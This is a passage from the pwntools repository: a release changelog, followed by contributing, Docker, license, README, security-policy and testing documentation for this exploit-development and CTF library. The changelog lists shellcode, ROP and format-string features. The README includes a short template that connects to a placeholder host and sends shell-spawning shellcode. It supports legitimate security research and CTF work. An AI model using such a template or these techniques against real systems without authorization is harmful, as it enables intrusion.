https://github.com/Gallopsled/pwntools/pull/905 [919]: https://github.com/Gallopsled/pwntools/pull/919 ## 3.5.1 - [#945][945] Speed up ssh via caching checksec results (fixes [#944][944]) - [#950][950] Fixes a bug where setting `context.arch` does not have an effect on `adb.compile()` output architecture [944]: https://github.com/Gallopsled/pwntools/issues/944 [945]: https://github.com/Gallopsled/pwntools/pull/945 [950]: https://github.com/Gallopsled/pwntools/pull/950 ## 3.5.0 - [b584ca3][b584ca3] Fixed an issue running `setup.py` on ARM - [#822][822] Enabled relative leaks with `MemLeak` + This should be useful for e.g. heap-relative leaks - [#832][832] Changed all internal imports to use absolute imports (no functional changes) - [a12d0b6][a12d0b6] Move `STDOUT`, `PIPE`, `PTY` constants to globals + `process(..., stdin=process.PTY)` --> `process(..., stdin=PTY)` - [#828][828] Use `PR_SET_PTRACER` for all `process()` and `ssh.process()` instances + This simplifies debugging on systems with YAMA ptrace enabled - Various documentation enhancements + In particular, the [gdb][gdb], [elf][elf], and [ssh][ssh] docs are much better - [#833][833] Performance enhancements for `adb` module - [d0267f3][d0267f3] `packing.fit()` now treats large offsets as cyclic patterns (e.g. `0x61616161` behaves the same as `"aaaa"`) - [#835][835] Added `ssh.checksec` + Reports the kernel version and other relevant information on connection - [#857][857] Slightly shortened `execve` shellcode - [300f8e0][300f8e0] Slightly speed up processing of large ELF files - [#861][861] Adds support for extracting `IKCONFIG` configs from Linux kernel images, and extends `checksec` to report on any insecure configurations discovered - [#871][871] Moves all of the basic syscall templates to `shellcraft/common` and exposes them via symlinks. Closed [#685][685] + Should not have any visible effects from any documented APIs + `shellcraft.arch.os.syscall_function()` still works the same + We now have the ability to differentiate between the `connect` syscall, and a TCP `connect` helper - [#887][887] `sh_string` now returns a quoted empty string `''` rather than just an empty string - [#839][839] Exposes a huge amount of functionality via corefiles which was not previously availble. See the [docs][corefile_docs] for examples. + `process().corefile` will automatically instantiate a Corefile for the process + QEMU-emulated processes are supported + Native processes are supported, including extraction of coredumps from `apport` crash logs + Native processes can be dumped *while running*, in a manner similar to `GDB`'s `gcore` script - [#875][857] Added [documentation][aarch64] (and tests) for AArch64 shellcode - [#882][882] The `ROP` class now respects `context.bytes` instead of using the hard-coded value of `4` (fixed [#879][879]) - [#869][869] Added several fields to the `process` class (`uid`, `gid`, `suid`, `sgid`) which are recorded at execution time, based on the file permissions - [#868][868] Changed the way that `ssh.process()` works internally, and it now returns a more specialized class, `ssh_process`. + Added `ssh_process.corefile` for fetching remote corefiles + Added `ssh_process.ELF` for getting an ELF of the remote executable + The `uid`, `gid`, and `suid`, and `sgid` which are recorded at execution time, based on the file permissions - [#865][865] Fixes `ELF.read` to support contiguous memory reads across non-contiguous file-backed segments - [#862][862] Adds a `symlink=` argument to `ssh.set_working_directory`, which will automatically symlink all of the files in the "old" working directory into the "new" working directory [ssh]: http://docs.pwntools.com/en/dev/tubes/ssh.html [gdb]: http://docs.pwntools.com/en/dev/gdb.html [elf]: http://docs.pwntools.com/en/dev/elf.html [corefile_docs]: http://docs.pwntools.com/en/dev/elf/corefile.html [aarch64]: http://docs.pwntools.com/en/dev/shellcraft/aarch64.html [685]: https://github.com/Gallopsled/pwntools/pull/685 [822]: https://github.com/Gallopsled/pwntools/pull/822 [828]: https://github.com/Gallopsled/pwntools/pull/828 [832]: https://github.com/Gallopsled/pwntools/pull/832 [833]: https://github.com/Gallopsled/pwntools/pull/833 [835]: https://github.com/Gallopsled/pwntools/pull/835 [839]: https://github.com/Gallopsled/pwntools/pull/839 [857]: https://github.com/Gallopsled/pwntools/pull/857 [861]: https://github.com/Gallopsled/pwntools/pull/861 [862]: https://github.com/Gallopsled/pwntools/pull/862 [865]: https://github.com/Gallopsled/pwntools/pull/865 [868]: https://github.com/Gallopsled/pwntools/pull/868 [869]: https://github.com/Gallopsled/pwntools/pull/869 [871]: https://github.com/Gallopsled/pwntools/pull/871 [875]: https://github.com/Gallopsled/pwntools/pull/857 [879]: https://github.com/Gallopsled/pwntools/issues/879 [882]: https://github.com/Gallopsled/pwntools/pull/882 [887]: https://github.com/Gallopsled/pwntools/pull/887 [b584ca3]: https://github.com/Gallopsled/pwntools/commit/b584ca3 [a12d0b6]: https://github.com/Gallopsled/pwntools/commit/a12d0b6 [d0267f3]: https://github.com/Gallopsled/pwntools/commit/d0267f3 [300f8e0]: https://github.com/Gallopsled/pwntools/commit/300f8e0 ## 3.4.1 - [#894][894] Fix a bug when using `gdb.debug()` over ssh. - [e021f57][e021f57] Fix a bug ([#891][891]) in `rop` when needing to insert padding to fix alignment [e021f57]: https://github.com/Gallopsled/pwntools/commit/e021f57 [894]: https://github.com/Gallopsled/pwntools/pull/894 [891]: https://github.com/Gallopsled/pwntools/issues/891 ## 3.4.0 - [#800][800] Add `shell=` option to `ssh.process()` - [#806][806] Add `context.buffer_size` for fine-tuning `tube` performance + Also adds `buffer_fill_size=` argument for all tubes - [b83a6c7][b83a6c7] Fix undocumented `process.leak` function - [546061e][546061e] Modify `coredump_filter` of all spawned processes, so that core dumps are more complete - [#809][809] Add several functions to `adb` (`unlink`, `mkdir`, `makedirs`, `isdir`, `exists`) - [#817][817] Make disconnection detection more robust [800]: https://github.com/Gallopsled/pwntools/pull/800 [806]: https://github.com/Gallopsled/pwntools/pull/806 [809]: https://github.com/Gallopsled/pwntools/pull/809 [817]: https://github.com/Gallopsled/pwntools/pull/817 [5d9792f]: https://github.com/Gallopsled/pwntools/commit/5d9792f [b83a6c7]: https://github.com/Gallopsled/pwntools/commit/b83a6c7 [546061e]: https://github.com/Gallopsled/pwntools/commit/546061e ## 3.3.4 - [#850][850] and [#846][846] fix issues with `hexdump` and the `phd` command-line utility, when using pipes (e.g. `echo foo | phd`) - [#852][852] Fixes register ordering in `regsort` - [#853][853] Fixes the registers restored in `shellcraft.amd64.popad` [846]: https://github.com/gallopsled/pwntools/pull/846 [850]: https://github.com/gallopsled/pwntools/pull/850 [852]: https://github.com/gallopsled/pwntools/pull/852 [853]: https://github.com/gallopsled/pwntools/pull/853 ## 3.3.3 - [#843][843] fixed a bug in `amd64.mov`. [843]: https://github.com/gallopsled/pwntools/pull/843 ## 3.3.2 - [#840][840] fixed a regression introduced by [#837][837]. [840]: https://github.com/gallopsled/pwntools/pull/840 ## 3.3.1 - [#833][833] Fixed a performance-impacting bug in the adb module. - [#837][837] Fixed a bug([#836][836]) causing `hexdump(cyclic=True)` to throw an exception. [833]: https://github.com/Gallopsled/pwntools/pull/833 [837]: https://github.com/Gallopsled/pwntools/pull/837 [836]: https://github.com/Gallopsled/pwntools/issues/836 ## 3.3.0 - [b198ec8][b198ec8] Added `tube.stream()` function, which is like `tube.interact()` without a prompt or keyboard input. + Effectively, this is similar to `cat file` and just prints data as fast as it is received. - [aec3fa6][aec3fa6] Disable update checks against GitHub + These checks frequently broke due to GitHub query limits - [#757][757] Fixed `adb.wait_for_device()` re-use of the same connection - [f9133b1][f9133b1] Add a `STDERR` magic argument to make logging go to `stderr` instead of `stdout` + Usage is e.g. `python foo.py STDERR` or `PWNLIB_STDERR=1 python foo.py` + Also adds `context.log_console` to log to any file or terminal - [67e11a9][67e11a9] Add faster error checking to `cyclic()` when provided very large values - [5fda658][5fda658] Expose BitPolynom in `globals()` - [#765][765] Added `-d` option for hex-escaped output for `shellcraft` command-line tool - [#772][772] Fixed bash completion regressions - [30c34b7][30c34b7] Fix `ROP.call()` with `Function` objects from `ELF.functions` - [fa402ce][fa402ce] Add `adb.uptime` and `adb.boot_time` - [82312ba][82312ba] Add `cyclic_metasploit` and `cyclic_metasploit_find` [757]: https://github.com/Gallopsled/pwntools/pull/757 [765]: https://github.com/Gallopsled/pwntools/pull/765 [772]: https://github.com/Gallopsled/pwntools/pull/772 [b198ec8]: https://github.com/Gallopsled/pwntools/commit/b198ec8 [aec3fa6]: https://github.com/Gallopsled/pwntools/commit/aec3fa6 [f9133b1]: https://github.com/Gallopsled/pwntools/commit/f9133b1 [67e11a9]: https://github.com/Gallopsled/pwntools/commit/67e11a9 [5fda658]: https://github.com/Gallopsled/pwntools/commit/5fda658 [30c34b7]: https://github.com/Gallopsled/pwntools/commit/30c34b7 [fa402ce]: https://github.com/Gallopsled/pwntools/commit/fa402ce [82312ba]: https://github.com/Gallopsled/pwntools/commit/82312ba ## 3.2.1 Multiple bug fixes. - [#783][783] Fix `adb.uninstall` typo - [#787][787] Added error handling for `ssh.process` argument `preexec_fn` - [#793][793] Fixed progress message in `remote()` when connections failed - [#802][802] Fixed partition listing in `adb.partitions`, which accidentally shelled out to the `adb` binary - [#804][804] Fix error message for 32-bit distributions - [#805][805] Fix exception in `Core.segments` when a segment has no name - [#811][811] Fixes and performance improvements for `adb.wait_for_device()` - [#813][813] Fixed a release script - [#814][814] Fixed exceptions thrown if the `$HOME` directory is not writable - [#815][815] Properly handle `None` in `MemLeak` [783]: https://github.com/Gallopsled/pwntools/pull/783 [787]: https://github.com/Gallopsled/pwntools/pull/787 [793]: https://github.com/Gallopsled/pwntools/pull/793 [802]: https://github.com/Gallopsled/pwntools/pull/802 [804]: https://github.com/Gallopsled/pwntools/pull/804 [805]: https://github.com/Gallopsled/pwntools/pull/805 [811]: https://github.com/Gallopsled/pwntools/pull/811 [813]: https://github.com/Gallopsled/pwntools/pull/813 [814]: https://github.com/Gallopsled/pwntools/pull/814 [815]: https://github.com/Gallopsled/pwntools/pull/815 ## 3.2.0 - [#695][695] Fixed a performance regression in `phd`. - [452605e][452605e] Fixed [#629][629] related to correct removal of temporary files. - [ea94ee4][ea94ee4] Disallows semi-colons in for the `run_in_terminal` function, since it did not work properly in all cases. - [6376d07][6376d07] Added the mips shellcode `pushstr_array`. - [#700][700] Added missing MIPS shellcode documentation to readthedocs, and enabled unit tests - [#701][701] Command line tools refactored to have a common `pwn` entry point. + Added an option to *not* install the traditional `asm`, `disasm`, `checksec`, etc scripts + All existing tools can be accessed from the `pwn` command (e.g. `pwn asm nop`). - [#704][704] The `process` object has a new, optional argument `alarm` for setting a `SIGALRM` timeout for processes. - [#705][705] Added the Android Emulator to the test suite and Travis CI. + Android Emulator is now required for the full test suite + Android Emulator tests are skipped if no Android-related changes are detected - [#711][711] `DynELF` has a new attribute, `heap`, which leaks the current `brk` address (heap base). This is useful for finding heap allocations with dlmalloc-derived allocators like those used by Glibc. - [#717][717] `sh_string` was rewritten to emit more compact and compatible strings + This was achieved by embedding single-quoted non-printable literals + Much more testing was added + Emitted strings are no longer copy-paste compatible, but work fine with e.g. `tubes` module and the default `subprocess` module - [#709][709] The `adb` module now directly talks to the `adb` server process via a new module, `adb.protocol` + Removes the need to shell out to `adb` + Avoids version-compatibility issues with `adb` server vs. client - [#703][703] Added new methods to `adb` + `install` - Installs an APK + `uninstall` - Uninstalls a package + `packages` - Lists installed packages - [4893819][4893819] Modified `shellcraft.sh` on all platforms to provide `argv[0]` and set `argc==1` + This is needed for systems which have Busybox or other minimal shell for `/bin/sh` which does not behave well with `argc==0` or `argv[0]==NULL`. - [1e414af][1e414af] Added `connect()` alias for `remote()` + For example, `io=connect('google.com', 80)` + This also works with `tcp(...)` and `udp(...)` aliases - [869ec42][869ec42] Added `ssh.read()` and `ssh.write()` aliases - [2af55c9][2af55c9] `AdbDevice` objects exposed via e.g. `adb.devices()` now offer scoped access to all `adb` module properties + It is now possible to e.g. `map(lambda d: d.process(['id']).recvall(), adb.devices())` [629]: https://github.com/Gallopsled/pwntools/issues/629 [695]: https://github.com/Gallopsled/pwntools/pull/695 [700]: https://github.com/Gallopsled/pwntools/pull/700 [701]: https://github.com/Gallopsled/pwntools/pull/701 [704]: https://github.com/Gallopsled/pwntools/pull/704 [711]: https://github.com/Gallopsled/pwntools/pull/711 [717]: https://github.com/Gallopsled/pwntools/pull/717 [709]: https://github.com/Gallopsled/pwntools/pull/709 [705]: https://github.com/Gallopsled/pwntools/pull/705 [703]: https://github.com/Gallopsled/pwntools/pull/703 [452605e]: https://github.com/Gallopsled/pwntools/commit/452605e854f4870ef5ccfdf7fb110dfd75c50feb [ea94ee4]: https://github.com/Gallopsled/pwntools/commit/ea94ee4ca5a8060567cc9bd0dc33796a89ad0b95 [6376d07]: https://github.com/Gallopsled/pwntools/commit/6376d072660fb2250f48bd22629bbd7e3c61c758 [1e414af]: https://github.com/Gallopsled/pwntools/commit/1e414afbeb3a01242f4918f111febaa63b640eb7 [869ec42]: https://github.com/Gallopsled/pwntools/commit/869ec42082b4b98958dfe85103da9b101dde7daa [4893819]: https://github.com/Gallopsled/pwntools/commit/4893819b4c23182da570e2f4ea4c14d73af2c0df [2af55c9]: https://github.com/Gallopsled/pwntools/commit/2af55c9bc382eca23f89bc0abc7a07c075521f94 ## 3.1.1 Fixed a bug in `MemLeak.struct` (PR: #768). ## 3.1.0 A number of smaller bugfixes and documentation tweaks. ## 3.0.4 - Fixed a bug that made 3.0.3 uninstallable (Issue: #751, PR: #752) ## 3.0.3 - Fixed some performance and usability problems with the update system (Issues: #723, #724, #736. PRs: #729, #738, #747). - Fixed a bug related to internals in pyelftools (PRs: #730, #746). - Fixed an issue with travis (Issue: #741, PRs: #743, #744, #745). ## 3.0.2 - Cherry-pick #695, as this was a regression-fix. - Added a fix for the update checker, as it would suggest prereleases as updates to stable releases. - Various documentation fixes. ## 3.0.1 A small bugfix release. There were a lot of references to the `master`-branch, however after 3.0.0 we use the names `stable`, `beta` and `dev` for our branches. ## 3.0.0 This was a large release (1305 commits since 2.2.0) with a lot of bugfixes and changes. The Binjitsu project, a fork of Pwntools, was merged back into Pwntools. As such, its features are now available here. As always, the best source of information on specific features is the comprehensive docs at https://pwntools.readthedocs.org. This list of changes is non-complete, but covers all of the significant changes which were appropriately documented. #### Android Android support via a new `adb` module, `context.device`, `context.adb_host`, and `context.adb_port`. #### Assembly and Shellcode - Assembly module enhancements for making ELF modules from assembly or pre-assembled shellcode. See `asm.make_elf` and `asm.make_elf_from_assembly`. - `asm` and `shellcraft` command-line tools support flags for the new shellcode encoders - `asm` and `shellcraft` command-line tools support `--debug` flag for automatically launching GDB on the result - Added MIPS, PowerPC, and AArch64 support to the `shellcraft` module - Added Cyber Grand Challenge (CGC) support to the `shellcraft` module - Added syscall wrappers for every Linux syscall for all supported architectures to the `shellcraft` module + e.g. `shellcraft..gettimeofday` - (e.g. `shellcraft.i386.linux.`) - Added in-memory ELF loaders for most supported architectures + Only supports statically-linked binaries + `shellcraft..linux.loader` #### Context Module - Added `context.aslr` which controls ASLR on launched processes. This works with both `process()` and `ssh.process()`, and can be specified per-process with the `aslr=` keyword argument. - Added `context.binary` which automatically sets all `context` variables from an ELF file. - Added `context.device`, `context.adb`, `context.adb_port`, and `context.adb_host` for connecting to Android devices. - Added `context.kernel` setting for SigReturn-Oriented-Programming (SROP). - Added `context.log_file` setting for sending logs to a file. This can be set with the `LOG_FILE` magic command-line option. - Added `context.noptrace` setting for disabling actions which require `ptrace` support. This is useful for turning all `gdb.debug` and `gdb.attach` options into no-ops, and can be set via the `NOPTRACE` magic command-line option. - Added `context.proxy` which hooks all connections and sends them to a SOCKS4/SOCKS5. This can be set via the `PROXY` magic command-line option. - Added `context.randomize` to control randomization of settings like XOR keys and register ordering (default off). - Added `context.terminal` for setting how to launch commands in a new terminal. #### DynELF and MemLeak Module - Added a `DynELF().libc` property which attempt to find the remote libc and download the ELF from LibcDB. - Added a `DynELF().stack` property which leaks the `__environ` pointer from libc, making it easy to leak stack addresses. - Added `MemLeak.String` and `MemLeak.NoNewlines` and other related helpers for handling special leakers which cannot e.g. handle newlines in the leaked addresses and which leak a C string (e.g. auto-append a `'\x00'`). - Enhancements for leaking speed via `MemLeak.compare` to avoid leaking an entire field if we can tell from a partial leak that it does not match what we are searching for. #### Encoders Module - Added a `pwnlib.encoders` module for assembled-shellcode encoders/decoders - Includes position-independent basic XOR encoders - Includes position-independent delta encoders - Includes non-position-independent alphanumeric encoders for Intel - Includes position-independent alphanumeric encoders for ARM/Thumb #### ELF Module - Added a `Core` object which can parse core-files, in order to extract / search for memory contents, and extract register states (e.g. `Core('./corefile').eax`). #### Format Strings - Added a basic `fmtstr` module for assisting with Format String exploitation #### GDB Module - Added support for debugging Android devices when `context.os=='android'` - Added helpers for debugging shellcode snippets with `gdb.debug_assembly()` and `gdb.debug_shellcode()` #### ROP Module - Added support for SigReturn via `pwnlib.rop.srop` + Occurs automatically when syscalls are invoked and a function cannot be found + SigReturn frames can be constructed manually with `SigreturnFrame()` objects - Added functional doctests for ROP and SROP #### Tubes Process Module - `process()` has many new options, check out the documentation + `aslr` controls ASLR + `setuid` can disable the effect of setuid, allowing core dumps (useful for extracting crash state via the new `Core()` object) + TTY echo and control characters can be enabled via `raw` argument - `stdout` and `stderr` are now PTYs by default + `stdin` can be set to a PTY also via setting `stdin=process.PTY` #### Tubes SSH Module - Massive enhancements all over - `ssh` objects now have a `ssh.process()` method which avoids the need to handle shell expansion via the old `ssh.run()` method - Files are downloaded via SFTP if available - New `download` and `upload` methods auto-detect whether the target is a file or directory and acts accordingly - Added `listen()` method alias for `listen_remote()` - Added `remote()` method alias for `connect_remote()` #### Utilities - Added `fit()` method to combine the functionality of `flat()` with the functionality of `cyclic()` - Added `negative()` method to negate the value of an integer via two's complement, with respect to the current integer size (`context.bytes`). - Added `xor_key()` method to generate an XOR key which avoids undesirable bytes over a given input. - Added a multi-threaded `bruteforce()` implementation, `mbruteforce()`. - Added `dealarm_shell()` helper to remove the effects of `alarm()` after you've popped a shell. ## 2.2.0 This was a large release with a lot of bugfixes and changes. Only the most significant are mentioned here. - Added shellcodes - Added phd - Re-added our expansion of itertools - Added replacements for some semi-broken python standard library modules - Re-implemented the rop module - Added a serial tube - Huge performance gains in the buffering for tubes - Re-added user agents - Begun using Travis CI with lots of test - Removed bundled binutils in favor of documenting how to build them yourselves - Added support for port forwarding though our SSH module - Added dependency for capstone and ropgadget - Added a lots of shellcodes - Stuff we forgot - Lots of documentation fixes - Lots of bugfixes Gallopsled-pwntools-3ad86ec/CONTRIBUTING.md000066400000000000000000000036671507273764500204470ustar00rootroot00000000000000# Contributing Github has a great guide for contributing to open source projects: - [Contributing to a project](https://guides.github.com/activities/forking/) - [Fork the repository](https://guides.github.com/activities/forking/#fork) - [Clone your fork](https://guides.github.com/activities/forking/#clone) - [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes) - [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request) - [Huzzah!](https://guides.github.com/activities/forking/#huzzah) ## pwntools Specifics In general, we like to keep things documented. You should add documentation to any new functionality, and update it for any changed functionality. Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google). After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html). Finally, it is probably a good idea to run the test suite locally before doing the pull-request to make sure everything works, however this is not a requirement. Once you are ready to do a pull-request, you should figure out if your changes constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in stable or beta, you should do the pull-request against the branch in question, and otherwise your pull-request should be against the dev branch. Once you do the pull-request Travis CI will run the test-suite on it. Once it passes one of the core developers will look at your pull request, possibly comment on it and then hopefully merge it into the branch in question. ## Automated Testing Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended. You can find more information on testing in [TESTING.md](TESTING.md). Gallopsled-pwntools-3ad86ec/DOCKER.md000066400000000000000000000044621507273764500175010ustar00rootroot00000000000000# Using Pwntools with Docker Sometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM). [Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies. ## Quick Start First, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page. Next, download and run the Pwntools stable docker image. ```sh $ docker run -it pwntools/pwntools:stable ``` ## Recommended Settings In order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`). ```sh $ docker run -it \ --privileged \ --net=host \ --hostname localhost \ --ulimit core=-1:-1 \ pwntools/pwntools:stable ``` ## Sharing a Folder It's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image. This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`). With the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker). ```sh $ mkdir $HOME/exploits $ vim $HOME/exploits/my_exploit.py $ docker run -it \ --privileged \ --net=host \ --hostname localhost \ --ulimit core=-1:-1 \ --mount type=bind,source="$HOME/exploits",target=/home/pwntools/exploits \ pwntools/pwntools:stable $ python3 exploits/my_exploit.py ``` ### Windows User Bind Mounts If you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`. The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`. ```sh C:\Users\user> mkdir Desktop\exploits C:\Users\user> code Desktop\exploits\my_exploit.py C:\Users\user> docker run -it \ --privileged \ --net=host \ --hostname localhost \ --ulimit core=-1:-1 \ --mount type=bind,source="%UserProfile%\Desktop\exploits",target=/home/pwntools/exploits \ pwntools/pwntools:stable $ python3 exploits/my_exploit.py ``` Gallopsled-pwntools-3ad86ec/LICENSE-pwntools.txt000066400000000000000000000031551507273764500217140ustar00rootroot00000000000000TL;DR version: Everything in pwntools is open source. Most is under an MIT license, but a few pieces are under GPL or a BSD 2-clause licence. This license covers everything within this project, except for a few pieces of code that we either did not write ourselves or which we derived from code that we did not write ourselves. These few pieces have their license specified in a header, or by a file called LICENSE.txt, which will explain exactly what it covers. The few relevant pieces of code are all contained inside these directories: - pwnlib/constants/ - pwnlib/data/ Copyright (c) 2015 Gallopsled et al. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Gallopsled-pwntools-3ad86ec/MANIFEST.in000066400000000000000000000004571507273764500177460ustar00rootroot00000000000000graft build graft examples graft extra graft travis include *.md *.txt *.sh *.yml MANIFEST.in recursive-include docs *.rst *.png Makefile *.py *.txt recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako recursive-include pwn *.py *.asm *.rst *.md *.txt *.sh global-exclude *.pyc Gallopsled-pwntools-3ad86ec/README.md000066400000000000000000000057021507273764500174650ustar00rootroot00000000000000# pwntools - CTF toolkit ![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true) [![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/) [![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/) [![GitHub Workflow Status (dev)](https://img.shields.io/github/actions/workflow/status/Gallopsled/pwntools/ci.yml?branch=dev&logo=GitHub)](https://github.com/Gallopsled/pwntools/actions/workflows/ci.yml?query=branch%3Adev) [![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev) [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/) [![Packaging status](https://img.shields.io/repology/repositories/python:pwntools)](https://repology.org/project/python:pwntools/versions) [![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB) [![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools) Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible. ```python from pwn import * context(arch = 'i386', os = 'linux') r = remote('exploitme.example.com', 31337) # EXPLOIT CODE GOES HERE r.send(asm(shellcraft.sh())) r.interactive() ``` # Documentation Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/) A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme) To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups). # Installation Pwntools is best supported on 64-bit Ubuntu LTS releases (18.04, 20.04, 22.04, and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python3 is suggested, but Pwntools still works with Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with ```sh sudo apt-get update sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools ``` However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html). # Contribution See [CONTRIBUTING.md](CONTRIBUTING.md) # Contact and Community If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB Gallopsled-pwntools-3ad86ec/SECURITY.md000066400000000000000000000033041507273764500177730ustar00rootroot00000000000000# Security Policy ## Supported Versions | Version | Supported | | ------------- | ------------------ | | latest dev | :white_check_mark: | | latest beta | :white_check_mark: | | latest stable | :white_check_mark: | | anything else | :x: | ## Reporting a Vulnerability The aim of pwntools is exploiting software vulnerabilities, which is an unusual position, but it nevertheless can have its own security issues. Especially that an attacker (=re-victim) is usually not prepared to be attacked back (by the re-attacker). The first question to ask yourself is: is this an actual vulnerability? - can it be triggered by a re-attacker (malicious honeypot pretending to be a vulnerable service)? - does it impact the attacker (=re-victim)? - is it serious? * *availability: medium* means *at least* exhausting RAM or disk space of the attacker (=re-victim) * *confidentiality: medium* means *at least* reading the filesystem of the attacker (=re-victim) * *integrity: medium* means *at least* performing uncontrolled actions or data corruption on behalf of the attacker (=re-victim) * if crucial for some sophisticated exploit chain, it is always serious * `safe_eval` bypasses **are** serious. * an example of what was **kind of** serious: [#1732](https://github.com/Gallopsled/pwntools/pull/1732) - can it be fixed without compromising on Pwntools' usability? If at least one of the answers is no, then this is NOT a vulnerability, so just file a bug report or feature request, without the weird confidential disclosure dance. Just e-mail the maintainers. Arusekk is the one that is currently the most excited to fix vulnerabilities. Or create a CTF task! Prove a point the good old hacker way! Gallopsled-pwntools-3ad86ec/TESTING.md000066400000000000000000000036731507273764500176520ustar00rootroot00000000000000# Testing Pwntools makes extensive use of unit tests and integration tests to ensure everything is in working order, and no regressions occur. ## Test Suite To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login! ```sh bash travis/install.sh bash travis/ssh_setup.sh pip install --upgrade --editable . PWNLIB_NOTERM=1 make -C docs doctest ``` ## Testing in Docker A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial. It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu. See `travis/docker/README.md` for more information. ## New Tests To add a new test to an existing module, just add an inline doctest. If the test needs access to an external module, add the import statement to the `testsetup` block in the corresponding file in `docs/source/.rst`. To add an entirely new module, create a new `module.rst` and add it to the list in `index.rst`. The best way to see if your tests are actually being run is to add an intentionally-failing test like: ```py >>> assert False ``` ## Example Test Module The module `pwnlib.testexample` exists to demonstrate how everything is tied together. The only files which were modified to add this example module and run its tests automatically are: - `pwnlib/testexample.py` - `docs/source/testexample.rst` - `docs/source/index.rst` ## Shellcode and ROP These are both less easy to test, as they require actually executing code, or loading real binaries. In order to make the process simpler, the `runner` library was created to wrap common tasks. For an example of testing shellcode with these helpers, see [exit.asm](pwnlib/shellcraft/templates/i386/linux/exit.asm). Additionally, for loading ELF files on-the-fly, the helpers `ELF.from_bytes` and `ELF.from_assembly` are available. Gallopsled-pwntools-3ad86ec/docs/000077500000000000000000000000001507273764500171325ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/docs/.gitignore000066400000000000000000000000211507273764500211130ustar00rootroot00000000000000build robots.txt Gallopsled-pwntools-3ad86ec/docs/Makefile000077500000000000000000000135551507273764500206060ustar00rootroot00000000000000# Makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build PAPER = BUILDDIR = build TAR = tar # Internal variables. PAPEROPT_a4 = -D latex_paper_size=a4 PAPEROPT_letter = -D latex_paper_size=letter ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source # the i18n builder cannot share the environment and doctrees with the others I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source .PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext dash help: @echo "Please use \`make ' where is one of" @echo " html to make standalone HTML files" @echo " dirhtml to make HTML files named index.html in directories" @echo " singlehtml to make a single large HTML file" @echo " pickle to make pickle files" @echo " json to make JSON files" @echo " htmlhelp to make HTML files and a HTML help project" @echo " qthelp to make HTML files and a qthelp project" @echo " devhelp to make HTML files and a Devhelp project" @echo " epub to make an epub" @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" @echo " latexpdf to make 